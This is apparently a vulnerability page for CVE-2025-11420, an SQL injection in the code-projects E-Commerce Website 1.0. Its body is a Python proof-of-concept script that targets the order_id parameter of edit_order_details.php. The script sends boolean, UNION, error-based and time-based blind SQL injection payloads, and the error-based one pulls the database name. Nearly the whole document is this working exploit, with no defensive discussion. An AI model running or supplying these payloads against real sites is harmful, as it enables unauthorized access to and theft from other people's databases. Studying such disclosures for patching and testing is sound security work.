CVE-2025-11420：code-projects E-Commerce Website SQL注入漏洞

# CVE-2025-11420 - SQL Injection PoC # Target: code-projects E-Commerce Website 1.0 # Vulnerable file: /pages/edit_order_details.php # Vulnerable parameter: order_id import requests TARGET_URL = "http://target.com/pages/edit_order_details.php" # Basic SQL Injection payload to test the vulnerability def test_sql_injection(target_url, order_id_payload): """Send a request with malicious order_id parameter""" params = { "order_id": order_id_payload } try: response = requests.get(target_url, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None # Payload 1: Basic boolean-based SQL injection test payload1 = "1' OR '1'='1" print(f"[*] Testing payload: {payload1}") resp1 = test_sql_injection(TARGET_URL, payload1) if resp1: print(f"[+] Response status: {resp1.status_code}") print(f"[+] Response length: {len(resp1.text)}") # Payload 2: UNION-based SQL injection to extract data payload2 = "1' UNION SELECT 1,2,3,4,5-- -" print(f"[*] Testing UNION payload: {payload2}") resp2 = test_sql_injection(TARGET_URL, payload2) if resp2: print(f"[+] Response status: {resp2.status_code}") print(f"[+] Response length: {len(resp2.text)}") # Payload 3: Error-based SQL injection payload3 = "1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -" print(f"[*] Testing error-based payload: {payload3}") resp3 = test_sql_injection(TARGET_URL, payload3) if resp3: print(f"[+] Response status: {resp3.status_code}") print(f"[+] Response length: {len(resp3.text)}") # Payload 4: Time-based blind SQL injection payload4 = "1' AND SLEEP(5)-- -" print(f"[*] Testing time-based payload: {payload4}") import time start_time = time.time() resp4 = test_sql_injection(TARGET_URL, payload4) elapsed = time.time() - start_time if resp4: print(f"[+] Response status: {resp4.status_code}") print(f"[+] Elapsed time: {elapsed:.2f}s (if >5s, blind SQLi confirmed)")